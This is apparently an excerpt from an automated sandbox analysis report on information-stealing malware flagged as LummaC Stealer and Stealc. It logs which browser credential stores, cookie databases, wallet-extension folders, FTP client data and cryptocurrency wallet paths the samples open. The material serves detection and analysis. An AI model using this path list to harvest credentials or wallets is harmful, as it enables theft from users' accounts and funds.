Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB

Source: C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Directory queried: number of queries: 1403

Source: Yara match	File source: 0000000A.00000003.2944432729.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.3131133881.00000000018DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2173743072.0000000001567000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2911175052.0000000000F9F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218579742.0000000001538000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2218352412.0000000001560000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 58ce8f976c.exe PID: 6068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 58ce8f976c.exe PID: 504, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 760934cb92.exe PID: 7144, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 58ce8f976c.exe PID: 6068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 58ce8f976c.exe PID: 504, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 32.2.num.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.0.num.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.bf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.7451ae0b11.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.7451ae0b11.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000002.3135249068.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2960373733.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.3127862196.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.3268929874.0000000000141000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3144922950.000000000163E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3001129617.0000000000141000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000000.3116653245.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.3280933460.0000000000BF1000.00000080.00000001.01000000.0000001A.sdmp, type: MEMORY
